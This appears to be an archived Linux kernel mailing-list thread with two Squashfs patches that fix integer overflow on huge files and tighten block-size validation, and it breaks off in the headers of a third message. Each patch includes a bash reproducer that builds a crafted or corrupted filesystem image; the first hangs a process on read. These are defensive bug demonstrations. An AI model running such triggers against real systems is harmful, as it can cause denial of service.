DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405426; bh=nVBJvnNNBA9UfwcZiioDspKZ+JOChrblhyKZ7l5Ep/Q=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=js0kVweYu68Z0559ZQcewQLHHc2y9kFoJDDFMVHSxonnH5tm1ChwCnrZCxlyMNuq5 j/E6zWHQ8Nma3ofWsVttYRVPvNmqitX8L71g1fHq0I1wfigjHzUxUWGvIvhi/FX5wi aVdWFFjTP0QlpF2uLvoymM6lefxt6y3+ts3CojQ2ybmkxENNZCMXlYfdO79O6ruEMb EiFGWpdEt6BHSwTWUNjCl/6D2K/or4ihUUc1poWI/jzgd8UG/1RxMkBWAYqPbwpbCb fzL5m9eNJIVEwRhdzx3GQBeBu/Swf4zHl0pzZgy/wm+XYKgIvsllDhSWtCO1UhWqmX J1vx6zf5aWgEQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b672 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=qXISqdIsPb2XvcCjSUQA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: bcef96f9d71fbb8feea5f960fee4d0da:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 14/23] Squashfs: very large files can exceed an int or size_t Date: Mon, 23 Nov 2026 03:42:55 +0000 Message-ID: <20261123034304.261742-15-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfHTe32uwALZAvQXkI6Wg7NZXEP+FP4n40DpFjNAHrhEkuU+LuLibbWjGzzW1/MERLwTflRZA8Eqb1J3tOlc3NDRgKqrbFeFhprYhz78/03XNPJfIeOPB Axiv4ANapdbrqgAIkXuGI9waP7SpCzpYhfRQAXKCwlAuekoX603GxVwmu/MR9Ec5111wKoby18lnqsMhOziGo3VYPqauxrgcOan0OBswX+5wOzJ5oPd7q6Bz Yyb8Q8znGOWUyzkaZ0onFk5P2/kGV1fxIR40qwHHUBzvUMyiq8TTaUrFxYGXHfsM Content-Type: text/plain; charset="utf-8" Squashfs in many places uses a signed int to store the block number and block count of a file. If the block size is using the Linux page size (normally 4 KiB), it means any file larger than 8 TiB (2^43) will overflow a signed int. If the block number and block count is in terms of the Squashfs filesystem block size (which can be between 4 kiB and 1 MiB), it depends on the block size as to when a signed int will overflow, but a file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a signed int. Additionally on 32-bit architectures, size_t is defined as an unsigned int, and where variables are being used as a block count (len) or mask, these can overflow on very large files too. This commit widens all appropriate variables to avoid overflow. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following reproducer creates a Squashfs filesystem with a 8 TiB + 4096 byte sparse file. The filestem is mounted, and the last 4096 bytes are read from the file. If the reproducer is successful the process will hang. This is because signed int overflow occurs in squashfs_copy_cache() with the result that folio_end_read() is not called. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null echo "Create an 8 Tib (2^43) + 4096 byte sparse file" if ! truncate --size 8796093026304 bigfile; then echo Create of sparse file failed. finish fi=09 echo Generate the Squashfs filesystem containing the sparse file echo This will be VERY slow on Squashfs-tools older than 4.7.3 mksquashfs bigfile bigfile.sqsh -b 1M -quiet echo Mount the filesystem to /mnt if ! mount -t squashfs bigfile.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi echo Read the last 4096 bytes from the sparse file. echo If the exploit succeeds the process will hang dd if=3D/mnt/bigfile bs=3D1 skip=3D8796093022208 popd 2>&1 > /dev/null rm -rf $DIR exit 0 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 1701aecb6849c ("Squashfs: regular file operations") Signed-off-by: Phillip Lougher --- v3: - Widen some size_t definitions to s64. v2: - Ensure return value of fill_meta_data() is evaluated using 64-bit arithmetic - Widen int n to s64 in read_indexes() --- fs/squashfs/file.c | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index ad6382cd22d3..5c976b20f316 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -35,6 +35,7 @@ #include #include #include +#include =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" @@ -160,7 +161,7 @@ static void release_meta_index(struct inode *inode, str= uct meta_index *meta) * Read the next n blocks from the block list, starting from * metadata block . */ -static long long read_indexes(struct super_block *sb, int n, +static long long read_indexes(struct super_block *sb, s64 n, u64 *start_block, int *offset) { int err, i; @@ -173,7 +174,7 @@ static long long read_indexes(struct super_block *sb, i= nt n, } =20 while (n) { - int blocks =3D min_t(int, n, PAGE_SIZE >> 2); + int blocks =3D min_t(s64, n, PAGE_SIZE >> 2); =20 err =3D squashfs_read_metadata(sb, blist, start_block, offset, blocks << 2); @@ -216,7 +217,7 @@ static long long read_indexes(struct super_block *sb, i= nt n, */ static inline int calculate_skip(u64 blocks) { - u64 skip =3D blocks / ((SQUASHFS_META_ENTRIES + 1) + u64 skip =3D div_u64(blocks, (SQUASHFS_META_ENTRIES + 1) * SQUASHFS_META_INDEXES); return min((u64) SQUASHFS_CACHED_BLKS - 1, skip + 1); } @@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blocks) * on-disk locations of the datablock and block list metadata block * for index (scaled to nearest cache index). */ -static int fill_meta_index(struct inode *inode, int index, +static s64 fill_meta_index(struct inode *inode, s64 index, u64 *index_block, int *index_offset, u64 *data_block) { struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; @@ -243,7 +244,7 @@ static int fill_meta_index(struct inode *inode, int ind= ex, /* * Scale index to cache index (cache slot entry) */ - index /=3D SQUASHFS_META_INDEXES * skip; + index =3D div_u64(index, SQUASHFS_META_INDEXES * skip); =20 while (offset < index) { meta =3D locate_meta_index(inode, offset + 1, index); @@ -315,7 +316,7 @@ static int fill_meta_index(struct inode *inode, int ind= ex, /* * Scale cache index (cache slot entry) to index */ - return offset * SQUASHFS_META_INDEXES * skip; + return (s64)offset * SQUASHFS_META_INDEXES * skip; =20 failed: release_meta_index(inode, meta); @@ -327,14 +328,14 @@ static int fill_meta_index(struct inode *inode, int i= ndex, * Get the on-disk location and compressed size of the datablock * specified by index. Fill_meta_index() does most of the work. */ -static int read_blocklist_ptrs(struct inode *inode, int index, u64 *start, +static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, int *offset, u64 *block) { long long blks; __le32 size; - int res =3D fill_meta_index(inode, index, start, offset, block); + s64 res =3D fill_meta_index(inode, index, start, offset, block); =20 - TRACE("read_blocklist: res %d, index %d, start 0x%llx, offset 0x%x, block= 0x%llx\n", + TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, b= lock 0x%llx\n", res, index, *start, *offset, block ? *block : 0); =20 if (res < 0) @@ -364,7 +365,7 @@ static int read_blocklist_ptrs(struct inode *inode, int= index, u64 *start, return squashfs_block_size(size); } =20 -static inline int read_blocklist(struct inode *inode, int index, u64 *bloc= k) +static inline int read_blocklist(struct inode *inode, s64 index, u64 *bloc= k) { u64 start; int offset; @@ -397,8 +398,8 @@ void squashfs_copy_cache(struct folio *folio, struct address_space *mapping =3D folio->mapping; struct inode *inode =3D mapping->host; struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; - int i, mask =3D (1 << (msblk->block_log - PAGE_SHIFT)) - 1; - int start_index =3D folio->index & ~mask, end_index =3D start_index | mas= k; + s64 i, mask =3D (1 << (msblk->block_log - PAGE_SHIFT)) - 1; + s64 start_index =3D folio->index & ~mask, end_index =3D start_index | mas= k; =20 /* * Loop copying datablock into pages. As the datablock likely covers @@ -412,7 +413,7 @@ void squashfs_copy_cache(struct folio *folio, size_t avail =3D buffer ? min(bytes, PAGE_SIZE) : 0; bool updated =3D false; =20 - TRACE("bytes %zu, i %d, available_bytes %zu\n", bytes, i, avail); + TRACE("bytes %zu, i %lld, available_bytes %zu\n", bytes, i, avail); =20 push_folio =3D (i =3D=3D folio->index) ? folio : __filemap_get_folio(mapping, i, @@ -464,8 +465,8 @@ static int squashfs_read_folio(struct file *file, struc= t folio *folio) { struct inode *inode =3D folio->mapping->host; struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; - int index =3D folio->index >> (msblk->block_log - PAGE_SHIFT); - int file_end =3D i_size_read(inode) >> msblk->block_log; + s64 index =3D folio->index >> (msblk->block_log - PAGE_SHIFT); + s64 file_end =3D i_size_read(inode) >> msblk->block_log; int expected =3D index =3D=3D file_end ? (i_size_read(inode) & (msblk->block_size - 1)) : msblk->block_size; @@ -576,15 +577,15 @@ static void squashfs_readahead(struct readahead_contr= ol *ractl) { struct inode *inode =3D ractl->mapping->host; struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; - size_t mask =3D (1UL << msblk->block_log) - 1; + s64 mask =3D (1UL << msblk->block_log) - 1; unsigned short shift =3D msblk->block_log - PAGE_SHIFT; loff_t start =3D readahead_pos(ractl) & ~mask; - size_t len =3D readahead_length(ractl) + readahead_pos(ractl) - start; + s64 len =3D readahead_length(ractl) + readahead_pos(ractl) - start; struct squashfs_page_actor *actor; unsigned int nr_pages =3D 0; struct page **pages; int i; - loff_t file_end =3D i_size_read(inode) >> msblk->block_log; + s64 file_end =3D i_size_read(inode) >> msblk->block_log; unsigned int max_pages =3D 1UL << shift; =20 readahead_expand(ractl, start, (len | mask) + 1); --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.35 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405441; b=qpCZCkLHTkzTONhAwe0OT2ntgxshSKMgz5lyJFcGIWM0ATzSYF/tv73OVJH5PPNPkYfh YBsn/t0zKWDZykIfx920ZCPXQfYHIOdENZZ04hIFxI9eMCvjue4LdC1wHlOf/6Fh1Wgs3 C/mXxm8Nve9HfUvtkmsxl+HOTb7jHCMj0xjy/ac5cX5jtbRUJ2Jkr41YjX4DW/E21PMIj qkWjt7P/UOOuAITlNemTNHjmZS9CmpuZ6ZZvNLXc4rvjHwZ1SCj8HVJpATSG63X7exs2s 5BZ3FUMK3MHnG/tag6uBYC8fK74DBH0moOfYgS0vGZd0hkA7gZ+OhkyvB7OKj5P3SRQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405441; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=tHQKRBKPkROaDmvHOtkqmrZvzXdwJGdpW3JLkyRYSpI=; b=wrp55JLuXSZHBYNDZimuaec8JEATqQnMYyahQqCuQXxCxL9K37jpm/944BiyQoXVsrTF MBD1Use5Dm88DVGLE/GjFMNi+DHidJQFc6tStfyxnywyd+AMYKAmbXjF7aXAZtmsB2iWe p2BhTqxoUd4QBcaKDCwcd0iBYrR5Ql96WQgp4/Mrai9xjw04g/WcufD5y5Fk2D2AKkIl+ ZvN/jG0CTDZfF2p3v10yrIyFg7G0FYYDThGW1ETfKOOFdZLVfaWnnxOTIG08TAZMLnWdJ ZZSV7OXx3edeUnT86KwZ+HsYgNoIdxde0OpD0RfzyyNwZKRfV0YkwDEb0udQF/yBe1Q== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=fM+++Mdb; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=i7wnSnZk; arc=none smtp.remote-ip=188.121.53.35 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.35]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 716E5606A333 for ; Mon, 23 Nov 2026 03:44:00 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 716E5606A333 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=fM+++Mdb; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=i7wnSnZk Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy2xiqRi; Mon, 23 Nov 2026 03:43:47 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405427; bh=tHQKRBKPkROaDmvHOtkqmrZvzXdwJGdpW3JLkyRYSpI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=fM+++MdbKujrbgeRoWFIg3PR4fJzxlwnxjO/Lnn75Y7qYxiyKFGpE3ijeQKRtLsjx N7aa6V6j876MV8OL6FR96ivfC5k9f6unO5nGyVMT8e9O41jmeS0yreW/4+rYlRdV30 BjrQ0DzZa0QRdaSflUbr3oLNykpat8m8++FM4h7q4L4O7aD8GnzFTqvuUgmarlVbOV v/hd1OH9nLjZXo9ho884k6lxTt3F+CBIYchHzUuME293cekolhiGE4FO/hEQau9fkG vFKWHjTVQ+9kVOqGmuvkeJrbXVjbcrLQYrbJkUv5HyFsifidxYWSsYj2OWzQ8wnCf3 Gu849PwmQ/PtQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405427; bh=tHQKRBKPkROaDmvHOtkqmrZvzXdwJGdpW3JLkyRYSpI=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=i7wnSnZkLXijWaFm0SVKtmrQSWXs8B7LkA2cxWkER5YdYfekZfTJfSKNKEDp5AQEW jFYIhpAgHpHIls4j8j2J3ilrdr04DHhh0wD/Tkr/o2vRO9g68JNoaXBvv+fhB4/eYw VEg9h10Hka/5d8mlPM5NARnXg4Pp4N7VQhDundmgOWHrIWt4jBFvm/dua5t8ZPcaX4 a/ul7WVKX8kd1ekHx8NBY4f94c/jo2hRyo3kKxFGFs70fQbFln3bX/8z2YVvS6HHaS rQBXZvWhWDDX4rmqijUPL6z0ht8aKyWaKvnxeujehtHJi23qUOBiTHtsF3tMo+atlB uFfclfFqlfJjA== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b673 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=RkH14jvAPMWmjoHUV8UA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 08681db3b055fee2072610ebdab10bda:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 15/23] Squashfs: add more sanity checking to squashfs_block_size() Date: Mon, 23 Nov 2026 03:42:56 +0000 Message-ID: <20261123034304.261742-16-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfLjyOzSqR3dzt+F959NZhD5tGUqv9wBRkm4R2Kl/4MTAV8/ypolP1KgZkkLt5HsW2cmhhnRD+k7Y6j7foQ9L6p8PCI/ApokBFoPFl3Hzpb3dmTJlTI6r tmTdIvwg15ObYuyaQNEVi1su+Gt99YZsmKjvJj6Dapm/H12E6sAnn7O/WBeljdjNESALaxNwAKUk/ZTcNrHjO5tN0B5SxRms4dqQy7dtwz8ZZNK1qOCkOOlS WNpeQBFw0IhwbJucBGhFonahtK+cQcFLLSjBadeHfkW7pc4s7giViYYhy+lVDuor Content-Type: text/plain; charset="utf-8" Squashfs_block_size() sanity checks the data and fragment block size read from disk. However, it doesn't do all the sanity checking that it could do. This means detectably invalid block sizes are passed down to squashfs_read_data(). This situation is sub-optimal because in the case of fragment blocks, a fragment cache buffer has to obtained (with possible waits for a free buffer etc.) before squashfs_read_data() is called. In both fragment and data block cases if the buffer is compressed, it means a free decompressor may be obtained (with possible waits for a decompressor) by squashfs_read_data(), only to have the decompression fail. In both these cases this adds unnecessary overhead which may impact performance, and this is with values that should have been detected earlier. This commit adds extra sanity checking to trap additional incorrect values. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The reproducer generates a Squashfs filesystem and then corrupts the block size value for file zero block 0. If the exploit succeeds this corrupted value is not detected, and it is passed to the decompressor via squashfs_read_data() which then fails at that point. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null echo Create Squashfs filesystem with one file echo "/ d 0777 0 0" > pseudo echo "zero f 0777 0 0 dd if=3D/dev/zero bs=3D1024 count=3D128 2>/dev/null" = >> pseudo if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then echo Failed to create Squashfs filesystem finish fi echo Corrupt the data block size for block 0 in file zero echo Flip the compression bit from uncompressed to compressed. echo "This is at byte offset 131207 (96 + 128 KiB + 37)" dd if=3D/dev/zero of=3Dimg.sqsh seek=3D131205 bs=3D1 count=3D1 conv=3Dnotru= nc status=3Dnone echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi echo Read the file zero. echo If the exploit succeeds, dmesg should show the following: echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5" echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5" echo "SQUASHFS error: Unable to read data cache entry [60]" echo "SQUASHFS error: Unable to read page, block 60, size 20000" dd if=3D/mnt/zero popd 2>&1> /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D Fixes: 1701aecb6849c ("Squashfs: regular file operations") Signed-off-by: Phillip Lougher --- v2: - Add additional sanity check, a zero size cannot have SQUASHFS_COMPRESSED_BIT_BLOCK set. --- fs/squashfs/file.c | 8 +++++--- fs/squashfs/fragment.c | 2 +- fs/squashfs/squashfs_fs.h | 6 ------ fs/squashfs/squashfs_helpers.h | 36 ++++++++++++++++++++++++++++++++++ 4 files changed, 42 insertions(+), 10 deletions(-) diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c index 5c976b20f316..76a61d2cc68c 100644 --- a/fs/squashfs/file.c +++ b/fs/squashfs/file.c @@ -166,6 +166,7 @@ static long long read_indexes(struct super_block *sb, s= 64 n, { int err, i; long long block =3D 0; + struct squashfs_sb_info *msblk =3D sb->s_fs_info; __le32 *blist =3D kmalloc(PAGE_SIZE, GFP_KERNEL); =20 if (blist =3D=3D NULL) { @@ -185,7 +186,7 @@ static long long read_indexes(struct super_block *sb, s= 64 n, } =20 for (i =3D 0; i < blocks; i++) { - int size =3D squashfs_block_size(blist[i]); + int size =3D squashfs_data_size(blist[i], msblk->block_size); if (size < 0) { err =3D size; goto failure; @@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64= index, u64 *start, { long long blks; __le32 size; + struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; s64 res =3D fill_meta_index(inode, index, start, offset, block); =20 TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, b= lock 0x%llx\n", @@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct inode *inode, s64= index, u64 *start, sizeof(size)); if (res < 0) return res; - return squashfs_block_size(size); + return squashfs_data_size(size, msblk->block_size); } =20 static inline int read_blocklist(struct inode *inode, s64 index, u64 *bloc= k) @@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file *file, loff_t = offset, int whence) goto finished; =20 for (i =3D 0; i < indexes; i++) { - length =3D squashfs_block_size(blist[i]); + length =3D squashfs_data_size(blist[i], msblk->block_size); if (length < 0) { offset =3D length; goto finished; diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c index 9f63e5b5c513..1f372374c29d 100644 --- a/fs/squashfs/fragment.c +++ b/fs/squashfs/fragment.c @@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned= int fragment, return size; =20 *fragment_block =3D le64_to_cpu(fragment_entry.start_block); - return squashfs_block_size(fragment_entry.size); + return squashfs_frag_size(fragment_entry.size, msblk->block_size); } =20 =20 diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index 3e7d0730b2d9..6ca8d7227a0e 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -101,12 +101,6 @@ #define SQUASHFS_XATTR_VALUE_OOL 256 #define SQUASHFS_XATTR_PREFIX_MASK 0xff =20 -static inline int squashfs_block_size(__le32 raw) -{ - u32 size =3D le32_to_cpu(raw); - return (size >> 25) ? -EIO : size; -} - /* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8 =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 124ee18ed8c9..dc7c64bf61ab 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -203,4 +203,40 @@ static inline s16 squashfs_xattr_offset(s64 xattr) { return xattr & 0xffff; } + +static inline int squashfs_block_size(u32 size, s32 block_size) +{ + /* reject any size with bits set where they should not be */ + if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK) > block_size) + return -EIO; + + /* a block can't be both full size and compressed */ + if (size =3D=3D block_size) + return -EIO; + + /* a zero size block will never have SQUASHFS_COMPRESSED_BIT_BLOCK set */ + if (size =3D=3D SQUASHFS_COMPRESSED_BIT_BLOCK) + return -EIO; + + return size; +} + +static inline int squashfs_data_size(__le32 raw, s32 block_size) +{ + return squashfs_block_size(le32_to_cpu(raw), block_size); +} + +static inline int squashfs_frag_size(__le32 raw, s32 block_size) +{ + int size =3D squashfs_block_size(le32_to_cpu(raw), block_size); + + if (size < 0) + return size; + + /* a fragment block can't be zero size */ + if (size =3D=3D 0) + return -EIO; + + return size; +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.42 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405436; b=gjTa3pP6z3xfbEPvVkhylgh8JOCZxYuZ+H5OFRXV2RZncXxGBysmP43VQvbGxSCxiuYS t8N6N0/3CihPh5YPBL2e6EtB2K8mFeYcz/o8qg7bTu+iBSSnSCRXzyYj5t8S07hpohswA 8g2MbrWI5LvXPzIkyAzaZwuGe865f8o1xPnKrAlEV4omd23IoOy/hlNiQkqAC5aIs09LB jWq7ddlF0H5bvJU0f6hddYevU60YCtvGcOwI+8Ed/GJO2ewO/0xYd66dtKTVpFhcVolEK /jQHTOOW0YTaMCr5a+/7RCXHAGlK9VxpkW/oLtCB2C4Q7m9AXT71r/uNVfrC0EPYG4A== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405436; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=+bVwYPBwKeRDjNONhkFwlNhZrMBxgM5TLuYFj5mKrhw=; b=Z6jnhztf4wzVU/yf4vCxS7N3CnAxnKkeEwj6tFxm0b57s/qium+SUOaJw7vjAEi8DBKf jA2pGe1bwQfH+hW9FtYhhnzsEgSQ071DBiLaQnMN2DdbsqpMwiIaE1k51mmNIYjg61cul vJUY2GHVP2JgqUUFAZvg+yWneQexqjzypv05Lzi7Y2dBQ88x2VF4npiEQEG6YGIf3ux3s SxnN2R//y9SyJRZ1X0NcA/prcRpUrGgVg+8ug7ZnOTKJqAlNvpU+c5M7ma5D9n8Gb4SJE RWjUc51Z5wFY+4Py10Gl4RU+UTr/rBe1PUS5BVEvOuNear/1BfvP4Vb92+hrN2yJ51g== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=mTjfIuXO; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=MK2SQyzG; arc=none smtp.remote-ip=188.121.53.42 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 44F9560A2604 for ; Mon, 23 Nov 2026 03:43:55 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 44F9560A2604 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=mTjfIuXO; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=MK2SQyzG Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy3xiqRm; Mon, 23 Nov 2026 03:43:48 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405429; bh=+bVwYPBwKeRDjNONhkFwlNhZrMBxgM5TLuYFj5mKrhw=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=mTjfIuXOhtpZ+NMAz3q5yZ/DJZx+7whgEafzlS7k+26E74GxY8TeeytaMNbQpbY0P /4xVvgeaIDnwt2pqy2dqeNszP9m1J3U7HxSabrVE2NLz8h+ZMG8+1YHrZElwygCqX4 